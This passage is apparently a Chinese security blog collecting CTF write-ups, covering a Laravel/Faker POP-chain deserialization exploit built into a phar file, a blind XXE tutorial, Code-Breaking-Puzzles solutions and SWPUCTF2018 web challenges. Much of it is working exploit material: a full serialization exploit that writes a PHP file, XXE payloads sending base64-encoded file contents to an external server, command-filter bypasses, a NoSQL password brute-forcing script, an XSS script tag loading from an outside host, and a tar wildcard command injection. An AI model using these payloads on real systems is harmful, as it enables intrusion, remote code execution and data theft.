        if ($i > $this->maxRetries) {
            throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
        }
    } while (!call_user_func($this->validator, $res));

    return $res;
}

$name的值就是dispatch。如果我们能控制$res,就相当于能控制call_user_func的函数和参数

由于在call_user_func_array()中,Generator类没有定义dispatch函数,所以又会调用Generator类的_call函数,跟进Generator类

Generator类

public function __call($method, $attributes) 
{
    return $this->format($method, $attributes);
}

继续跟进format方法

public function format($formatter, $arguments = array())
{
    return call_user_func_array($this->getFormatter($formatter), $arguments);  
}

$formatter的值不可控,且初值为dispatch,继续跟进getFormatter()

public function getFormatter($formatter)
{
    if (isset($this->formatters[$formatter])) {
        return $this->formatters[$formatter];
    }

在这步似乎看到了希望,因为它return 了一个数组的值,就比较好控。想办法让$this->getFormatter($formatter)的值是一个数组,即第一次getFormatter()返回的值是数组。数组只有一个值仍为getFormatter,此时$arguemnts为空,因为call_user_func_array,它就会再调用一次getFormatter方法,参数为空。

根据getFormatter方法当参数为空时,返回formatters成员的第一个值。

所以我们需要有两个Generator类:第一个类的formatters成员的键名为dispacth,键值为一个数组(内容为第二个Generator类名$ob2、方法名getFormatter);第二个Generator类的formatters键名随意,键值为我们想要控制的类,此时$res就算可控了。

回身处理validator

那么$this->validator如何处理呢?

这里看到师傅们找的了一个跳板类,赋值给了validator

phpunit\phpunit\src\Framework\MockObject\Stub\ReturnCallback.php:26

namespace PHPUnit\Framework\MockObject\Stub;
class ReturnCallback implements Stub
{
public function invoke(Invocation $invocation)
{
    return \call_user_func_array($this->callback, $invocation->getParameters());
}

invocation接口实现方法

getParameters()是接口的一个方法,用来访问私有属性parameters的值

找到调用这个接口的类就行了,这里是

namespace PHPUnit\Framework\MockObject\Invocation;
class StaticInvocation implements Invocation, SelfDescribing
{
private $parameters;
}

这个类可以通过上面getFormatter方法控制。至此,invoke()里call_user_func_array中的两个参数我们都可控了

构建POC思路

给validator一个数组(内容为实例化的ReturenCallback类、invoke方法名)。即$this->validator参数就成了invoke(),从而让call_user_func调用invoke方法,invoke方法中的Call_user_func_arrary再执行可控函数来getshell

总结一下,Invoke的回调函数能getshell的原因有二:
1、$this->callback 反序列化可控
2、继承invocation的类名返回值可控(getFormatter实现)

Final-EXP

看到kk师傅有一个exp写的很好,把审计流程串成EXP,稍作改动,这里贴出来学习下

<?php
namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        function __construct(){
            $this->events = new \Faker\ValidGenerator();
            $this->event = 'everything';
        }
    }
}

namespace PHPUnit\Framework\MockObject\Invocation{
    class StaticInvocation{
        function __construct(){
            $this->parameters = array('/var/www/html/upload/hpdoger.php','<?php print_r(file_get_contents('../../flag_larave1_b0ne'));?>');
        }
    }
}

namespace PHPUnit\Framework\MockObject\Stub{
    class ReturnCallback{
        function __construct(){
            $this->callback = 'file_put_contents';
        }
    }
}

namespace Faker{
    class ValidGenerator{
        function __construct(){
            $evilobj = new \PHPUnit\Framework\MockObject\Invocation\StaticInvocation();
            $g1 = new \Faker\Generator(array('everything' => $evilobj ));
            $g2 = new \Faker\Generator(array("dispatch" => array($g1, "getFormatter")));

            $rc = new \PHPUnit\Framework\MockObject\Stub\ReturnCallback();

            $this->validator = array($rc, "invoke");
            $this->generator = $g2;
            $this->maxRetries = 10000;
        }
    }

    class Generator{
        function __construct($form){
            $this->formatters = $form;
        }
    }

}
namespace{
    $exp = new Illuminate\Broadcasting\PendingBroadcast();
    print_r(urlencode(serialize($exp)));

    // phar
    $p = new Phar('./hpdoger.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    $p->setMetadata($exp);
    $p->addFromString('1.txt','text');
    $p->stopBuffering();
}

上传文件,接着进行反序列化

http://51.158.73.123:8080/server/editor?action=Catchimage&source[]=phar:///var/www/html/upload/image/9af04fac3af8c9d11572234ca3c4c98b/201901/09/26b5b639d9f75a9426cf.gif

再次膜前辈师傅们

从两道CTF题目学习XXE漏洞

从两道CTF题目学习XXE漏洞

接触安全到现在,一直没有碰xxe相关的知识。一是觉得xml类型的东西太概念化了,二是觉得实用性不大,因为现在很少见到用xml形式来传输数据。不巧的是最近35CTF就有一道blind xxe题目,干脆把之前的坑填了,从零来学习一下XXE漏洞

XML相关知识

什么是XML

XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

通俗点来说就是存储数据的一种格式

它的形式类似于html,都是标签闭合,且有根元素和子元素说法,例如note就是根元素,from和to都是子元素

什么是实体

实体有以下四种:

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体 (General entities)
  • 参数实体 (Parameter entities)

实体根据引用方式,还可分为内部实体与外部实体。这里简要说一下内部实体和引发XXE漏洞的外部实体、参数实体

内部实体

即在xml文档中自定义一个实体
格式:<!ENTITY 实体名称 "实体的值">,这是一种引入形式,好比C中引入变量都要声明变量,只不过在XML里引入的不叫变量,而叫做实体

外部实体

格式:<!ENTITY 实体名称 SYSTEM "URI">,在xml里不给实体赋予具体的值,而是通过某URI引入,叫做外部实体引入

下面是支持使用的URI

关于外部实体引用file协议的例子如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY  file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>

参数实体

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

外部引入参数实体的例子:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY % name SYSTEM "file:///etc/passwd">
    %name;
]>

注意:%name(参数实体)是在DTD中被引用的,而其余实体是在xml文档中被引用的。

什么是DTD

W3C定义:DTD即文档类型定义(document type define),可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

我理解的DTD是构建一个区域,声明在区域中要引入的实体\元素

内部声明DTD

语法:<!DOCTYPE 根元素 [元素声明]>

即在xml文档内部用DTD声明:我的根元素是root,在根元素下有to、from这些元素。

其实,你声明的元素和下面的元素名称不对应时也会进行解析。所以我觉得用DTD的用处就是给使用者一个目录栏,为了告诉他们下面的元素结构是什么样子的,而目录栏标题的名字是否正确不做强制要求。

PS:#PCDATA的意思是解析字符数据

外部声明DTD

语法:<!DOCTYPE 根元素 SYSTEM "文件名">,即引入外部的dtd声明,其中dtd文件就是引入的实体

XXE

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。

上文的外部实体引入部分,可以调用URI来加载数据,这也是造成漏洞点的地方。

有回显的XXE

jarvisoj平台上的题目

题目描述:请设法获得目标机器/home/ctf/flag.txt中的flag值

35CTF Blind XXE

这个是XXE漏洞能够利用的普遍场景,一般能利用XXE的地方有回显的机率几乎为0。利用blind xxe把数据外带到自己的服务器

代码分析

代码如下:

<?php
  function __autoload($cls) {
    include $cls;
  }

  class Black {
    public function __construct($string, $default, $keyword, $store) {
      if ($string) ini_set("highlight.string", "#0d0d0d");
      if ($default) ini_set("highlight.default", "#0d0d0d");
      if ($keyword) ini_set("highlight.keyword", "#0d0d0d");

      if ($store) {
            setcookie('theme', "Black-".$string."-".$default."-".$keyword, 0, '/');
      }
    }
  }

  class Green {
    public function __construct($string, $default, $keyword, $store) {
      if ($string) ini_set("highlight.string", "#00fb00");
      if ($default) ini_set("highlight.default", "#00fb00");
      if ($keyword) ini_set("highlight.keyword", "#00fb00");

      if ($store) {
            setcookie('theme', "Green-".$string."-".$default."-".$keyword, 0, '/');
      }
    }
  }

  if ($_=@$_GET['theme']) {
    if (in_array($_, ["Black", "Green"])) {
      if (@class_exists($_)) {
        ($string = @$_GET['string']) || $string = false;
        ($default = @$_GET['default']) || $default = false;
        ($keyword = @$_GET['keyword']) || $keyword = false;

        new $_($string, $default, $keyword, @$_GET['store']);
      }
    }
  } else if ($_=@$_COOKIE['theme']) {
    $args = explode('-', $_);
    if (class_exists($args[0])) {
      new $args[0]($args[1], $args[2], $args[3], '');
    }
  } else if ($_=@$_GET['info']) {
    phpinfo();
  }

  highlight_file(__FILE__);

关于代码逻辑部分简单说一下:

theme、string、default、keyword参数决定cookie,如果cookie存在则对cookie的四个参数以“-”号分割处理:把第一部分当作类名、其余三部分当作初始参数进行实例化。

__autoload()方法没什么用,因为php7.2+以后此方法被废弃了,而环境刚好是7.21,所以是出题人用来混淆的。

既然代码没什么可用的类,就看看能不能实例化可以用的php原生类,这里复盘,SimpleXMlElement可用

关于这个类的具体使用介绍:http://php.net/manual/zh/class.simplexmlelement.php

这里仅仅大致用法:

所以思路就是Blind XXE,让服务器远程解析我们服务器上的xml,获取的数据再次发送到我们的服务器上。

一开始构造xml的poc花了半天时间,主要踩了两个坑:

1、在内部DTD声明中,参数实体不能嵌套参数实体使用,即下方的用法是不允许的,:

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file "hpdoger">
<!ENTITY % send SYSTEM 'http://vps/?file=%file;'>

%send;
]>

只能引入外部声明DTD才能进行参数实体嵌套使用,但是嵌套使用还必须满足下面的一个条件

2、 这点是key师傅点播到的:在引入外部DTD声明之后,想要嵌套其它参数实体就必须要用一个“中间参数实体”去搭桥,这个中间参数实体可以理解为eval。具体实现方法看下面的POC

POC

vps上的xml文件如下:

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % send SYSTEM 'http://your_vps/test2.dtd'>

%send;
%test;
%back;
]>

vps上的外部DTD声明文件test2.dtd如下:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">

<!ENTITY % test "<!ENTITY &#37; back SYSTEM 'http://your_vps/?file=%file;'>">

用Curl发送请求,–cookie指定请求cookie参数

curl -v --cookie "theme=SimpleXMlElement-http://your_vps/xxe.xml-2-true" "http://35.207.132.47:82"

查看web日志即能看到base64加密的flag

其中:

  • 外部实体send引入外部DTD声明
  • 参数实体test即为“中间参数实体”
  • %为了避免编码问题
  • base64-encode是防止文件内容有空格导致http传输时被截断

题外话

关于FUZZ

关于服务端接收请求,如果已经有lnmp的环境最好。没有的话,这里推荐两个项目:

  1. TheTwitchy:https://github.com/TheTwitchy/xxer

  2. docker快速搭建lnmp+ssh(自己的项目求start:):

https://github.com/Hpd0ger/docker-lnmp

关于XXE漏洞挖掘

XML作为介质传输流程应该是这样的:

用户传输敏感数据->xml形式传输->后端解析xml(loadXML)->将各DOM节点转化为SimpleXML节点(最终为数组形式,节点名为键名,节点值为键值)->提取对应节点键值->数据提取/用户判断

漏洞点就在后端解析xml。

当后端使用loadXML()的方法解析xml文档时,会解析恶意xml语句即外部实体的引用,从而造成漏洞。

在挖掘漏洞的时候尤其注意两点:

  1. content-type: application/xml
  2. xml形式的数据传输e.g:<user>admin</user>

关于防御

  1. 对于PHP,禁止引用外部实体

    libxml_disable_entity_loader(true);
  2. 对于其它语言,其实做好过滤就行了。但是很少见到用xml形式的数据传输了..说多了也没啥用

Code-Breaking-Puzzles WriteUp

Code-Breaking-Puzzles WriteUp

最近终于可以忙里偷闲来做一下P神的题目,真的能学到不少东西,对底层的一些漏洞知识学习很有帮助。感谢网上已经有好多版本的wp可以提供参考,有一些知识实在是盲区。写一些笔记,不笱求与师傅们观点相异,如果能让看文章的人更能理解这些洞点,也算是我的荣幸了。

easy - function

不得不说P神的代码简洁又暴力

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

这里??是php7+的用法,$_GET[‘action’]非空则 $action = $_GET[‘action’]

应该是利用action做函数名来执行命令,但$action的首尾做了正则限制,不能直接是函数名。

P神小密圈说到的方式用\可以绕过。原因就是\funciton是php原生函数的写法,就是以命名空间+函数名的方法来表示函数。而原生函数的命名空间是”"。这种用法倒是在tp框架里见过,当调用一个类的时候会指明命名空间”\think\db”。虽然很无感命名空间的说法,但是感觉和java里的package类似

接着就是调用Create_function函数来代码注入了,具体原理参考:http://blog.51cto.com/lovexm/1743442

直接上Poc:
action=create_function&arg=;}print_r(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));//

别忘了注释//,否则逃脱不了函数

easy - pcrewaf

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 

逻辑

又是一段粗暴的代码。逻辑很清晰:上传文件->检测是否包含php语句->否->跳转到上传的文件

很明显应该是preg_match的洞点,但是当时并不知道具体突破的思路,看了一些文章才知道,原来php用的是PCRE库的。那么什么是PCRE和NFA正则引擎?

PCRE

PCRE(Perl Compatible Regular Expressions中文含义:perl语言兼容正则表达式)是一个用C语言编写的正则表达式函数库

NFA引擎

**NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态**

分析

NFA其实就像是用栈的结构来存储匹配成功的字符串,如果匹配不到下一个,则出栈进行上一个字符串匹配。就拿这段正则语句来说

preg_match('/<\?.*[(`;?>].*/is', $data)

如果我们输入<?php print;abcd

那么它匹配的流程应该是这样的:
<?php print;abc
<?php print;ab
<?php print;a
<?php print;
<?php print;abcd

.*会把?后的所有字符都先匹配到,发现没有[]里面的这些字符后再进行回溯。但是PHP为了防止回溯次数过多,发生拒绝服务,会有一个回溯限制

引用kk师傅的一张图:

5.2以后的版本回溯次数是1000000,超过这个次数还没有匹配到,则会返回false

POC

既然是弱类型比较,我们就用false来等价null绕过

<?php
$f = fopen("poc.txt", "w");
$msg = "<?php print_r(scandir('../'));?>".str_repeat("A",1000000);
fwrite($f,$msg);
fclose($f);

构造个上传表单完事

这也提醒我们,正确使用preg_match的重要性,用强类型等于避免很多不安全因素

phpmagic

这个题真的发现很多知识碎片

php://filter

首先聊聊filter的妙用。以前见到的情况和套路都是include()、file_get_contents()的参数可控,我们用php://filter/read配合base64-encode可以把文件编码成base64后输出。没想到file_put_contents文件名可控时也有magic

当我们可控的文件名$file传入参数php://filter/write=convert.base64-decode/resource=shell.php,$text传入this is test时,file_put_contents($file,$text)执行的内容如下:

可以把写入的文本进行base64编码,而且可以指定写入的文件名shell.php。其实这个用处还挺多的,比如将可控文本Base64编码,用伪协议写入文件的时候再decode,就能绕过后端正则对可控文本php危险语句检测的过滤

审计

关键代码

$output会被转义后输入到可控文本,用上面的思路在写入文本的时候base64-decode就能绕过,注意用Host拼接$log_name。

至于绕过后缀名,这两天做工程实践的时候恰好用到了p师傅关于apache的x0a后缀解析为php的文件上传绕过,具体思路:https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715

poc如下

php limit

这道题依然简单粗暴,代码如下

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

刚开始不清楚正则里(?R)的用法,看了别人的WP才知道这是PCRE的正则递归。在这道题里,就是按照递归的方式一直匹配/[^\W]+\((?R)?\)/,看下面这个例子

在匹配完b()之后,由于匹配不到[^\W],正则就停止了。所以这里的代码执行点就是:嵌套函数且最后一个函数不能用参数值

有的师傅们用了get_defined_vars()获取http请求头。其实这个之前在打awd时上流量监控部分用到过,appache可以用getallheaders()来获取http头,但是nginx没有这个函数,可以用了get_defined_vars(),通过current()、next()进而选择可控参数,poc如下

Nodejs魔法

Koa框架写的登陆页面,入库的语句都写出来了

看到这一步很关键,因为忘了看flag在哪个表里,后面浪费了很多时间

继续看到登陆的逻辑

传入的username&&password非空,并且经过safe函数过滤后带入查询,如果有结果则设定session为查询结果

##分析
一开始绕safe就饶了好久,尝试了各种注释。最后l0cal师傅提醒,在js里toUpperCase()是可以用拉丁文的unicode绕过的,例如"ſ".toUpperCase()<=>"S""ı".toUpperCase()<=>"I"

那么select 和 union 都可以绕过

一开始想多了,一直在盲注,根据时候有session判断查询的真假,结果好多东西都绕不过去,而且没看代码还在傻乎乎的测表名,十分愚蠢

有好多语句都会500,估计是云服务做了限制。。到最后发现把用户名和密码置空,后面用union查询flag,那设置的session不就是flag么。。

真的是太菜了

SWPUCTF2018 Write up

恰逢复习期,也没什么事,打一场SWPUCTF来放松一下,感谢西油出题师傅。最后狗了个第十二名,顺便吐槽一下队友起的什么智障名字。。

SWPUCTF2018

MISC

PCAP

签到题,流量包拖wireshark追TCP包

床前明月光,低头…

低头看键盘

99 9 9 88 11 5 5 66 3 88 3 6 555 9 11 4 33

键盘密码 99就代表9那列的第二个值

look ….. 依次读就行了

WEB

用优惠码买个X

拿到题目扫目录 www.zip
源码如下

$_SESSION['seed']=rand(0,999999999);
function youhuima(){
    mt_srand($_SESSION['seed']);
    $str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $auth='';
    $len=15;
    for ( $i = 0; $i < $len; $i++ ){
        if($i<=($len/2))
              $auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
        else
              $auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
    }
    setcookie('Auth', $auth);
}
//support
    if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
        if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
               //执行命令
        }else {
              //flag字段和某些字符被过滤!
        }
    }else{
             // 你的输入不正确!
    }
?>

根据提示应该分两部分 绕过优惠码->命令执行逃过

首先说破解优惠码,登陆时session产生0-99999999随机数为种子,通过mt_srand()种下随机数种子,mt_rand()来获取这个随机数。

这里mt_srand伪随机,具体机制可以看这篇文章:http://wonderkun.cc/index.html/?p=585%EF%BC%8C%E9%9A%8F%E6%9C%BA%E6%95%B0%E4%B9%8B%E5%89%8D%E4%B9%9F%E6%98%AFctf%E7%9A%84%E5%B8%B8%E8%A7%81%E5%A7%BF%E5%8A%BF

种子不变,生成的随机数就不变

所以通过前15位随机数,破解种子,根据种子再生成24位的随机数,也就是我们的优惠码

脚本跑随机数在字符串的位置:

<?php
$str = "lP9DUJjQ";
$randStr = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";

for($i=0;$i<strlen($str);$i++){
   $pos = strpos($randStr,$str[$i]);
   echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
   //整理成方便 php_mt_seed 测试的格式
  //php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]]
}
echo "\n";
?>

这个的坑点,必须跑前八位优惠码,因为算法里后起位和前八位生成顺序不一样

用工具php_mt_seed跑一下

本地php7环境跑这个种子的24位就能得到优惠码了

优惠码成功跳转到命令执行whois查询,匹配ip时用了/m 且^ $必须匹配头尾,%0a换行绕过检测,0a后面写规范ip

过滤了查询flag的语句,用”” 或者\绕过都行

完整payload:

ca\t /f\lag%0a127.0.0.1

Injection ???

扫目录用个info.php

是个phpinfo然后拓展显示mongo的数据库,搭配题目叫注入,那应该是一个nosql注入了

思路很简单,用通配符猜解admin的密码

username=admin&password[$regex]=^**

只不过要写个脚本跑验证码,这里队友写了一个提供参考

import requests
import time
import pytesseract
from PIL import Image
import os
from urllib.request import urlretrieve

j=0
passw0rd = ["s","k","m","u","n"]
payload="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_!@#$%"
url = "http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^skmun{}&vertify={}"
img_url = 'http://123.206.213.66:45678/vertify.php'

for i in range(1,20):
    while j<len(payload):
        s = requests.session()
        payloads = payload[j]
        with open(r'C:\Users\asus\Desktop\image\img1.png','wb') as fd:
            img_1 = s.get(url=img_url)
            fd.write(img_1.content)
        image = Image.open(r'C:\Users\asus\Desktop\image\img1.png')
        vcode = pytesseract.image_to_string(image)
        url_1 = url.format(str(payloads),vcode)
        r = s.get(url_1,cookies=img_1.cookies)
        print(r.text)
        if "wrong CAPTCHA!" in r.text:
            continue
        if "username or password incorrect!" in r.text:
            print(payloads)
            j = j+1
            break
        if "Nice!But it is not the real passwd" in r.text:
            passw0rd.append(payloads)
            print("passw0rd is :" + str(passw0rd))
            j = j+1
            break

SimplePHP

题目地址:

file有个代码高亮的功能,把这些页面的额源码都Down一下

先看一下test类的__get()方法

__get()方法用于输出一个不可访问变量的值,不可访问不仅仅是protected和private,还有不存在的变量也属于不可访问,这点很重要。$key的值就是不可访问的参数名,这里是”source”,如果输入”xx”,echo的就是xx。

开发角度来讲,私有属性一般都会调用__get()方法用以提供外界访问。继续看下面的代码

    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];      
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);  
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }

通过调用get()方法获取params数组里的值,进而获取这个值所对应的文件内容,这为获取flag文件内容做了铺垫。

所以只需要想办法使$this->params[$key] = ‘/var/www/html/f1ag.php’

瓶颈

一开始我是这样构造的攻击链:

之前分析过phar,它在反序列化的时候不会执行构造函数即construct,所以置空参数,让test类的get方法返回文件内容,再通过c1e4r类的echo输出到页面上

但是这里有一个问题,phar序列化的时候, 不会把类的方法反序列化,所以只能控类的成员。那么就开始下面的方法:

正确的思路

$a = new Test();
$a->params = [
    'source' => '/var/www/html/f1ag.php'
];

$b = new Show();
$b->str['str'] = $a;

$c = new C1e4r();
$c->str = $b;

思路就是:
我们用test类来获取f1ag.php里的内容,返回给$content(Show类),$content的值再返回给C1e4r类的echo输出

C1e4r调用echo,而echo可以执行toString方法,所以我们让echo的值为我们要控的toString方法对应的类即show类的对象

有趣的邮箱注册

网站功能很少:提交邮箱地址->管理审核邮箱

给了hint:

<!--check.php
if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, pleduase check your email";
}else{
echo "等待管理员自动审核";edit/5c1a5a3a38649f668227c9fd
echo $email;
}
}
?>
-->

之前有个红日审计项目,关于filter_var()匹配email的漏洞进行了剖析:https://xz.aliyun.com/t/2501

大致就是单引号双引号重叠,用\可以绕过空格,

然后我尝试了一下注入scirpt标签提交..尼玛直接成功了…

email="\ <sCRiPt\ sRC=https://unazizi.exeye.io/swctf></sCrIpT>\ "@aa.com

那它的意思应该是后台管理员会随时点击这个email,就触发了xss

因为打不到管理员的cookie,就打admin.php的页面源码了

发现后台会跳到:/admin/a0a.php?cmd=whoami

明显RCE,直接请求到这个url,发现出题人设置了本地,且匹配IP用的是 remote_addr,也就是说无法伪装IP

后台Bot一直会请求admin.php这个页面,xss 改变它请求的参数,让本地管理员帮我们执行这个命令

用XHR发送请求或者Location重定向都可以

反弹Shell后发现还有题目,后台有个上传页面和备份页面,其中backup.php可读内容如下

<?phpinclude("upload.php");
echo "上传目录:" . $upload_dir . "<br />";
$sys = "tar -czf z.tar.gz *";
chdir($upload_dir);
system($sys);
if(file_exists('z.tar.gz')){
        echo "上传目录下的所有文件备份成功!<br />";
        echo "备份文件名: z.tar.gz";
}else{
        echo "未上传文件,无法备份!";
}
?>

也就是说它会备份我们上传目录下的所有文件,即*

上传一些文件名例如| echo "123">123.php

System 就会执行拼接后的$sys

当时题目坏了,出题师傅跟我说直接再弹一个shell,就可以拿到flag权限。。

然后直接给我了flag…2333…

感受

这次比赛是西南石油师傅举办的公益性比赛..觉得他们确实挺不容易的,学院不支持+自掏腰包办比赛,但是赛题质量都还不错,可见师傅们的用心,给个好评!

not found!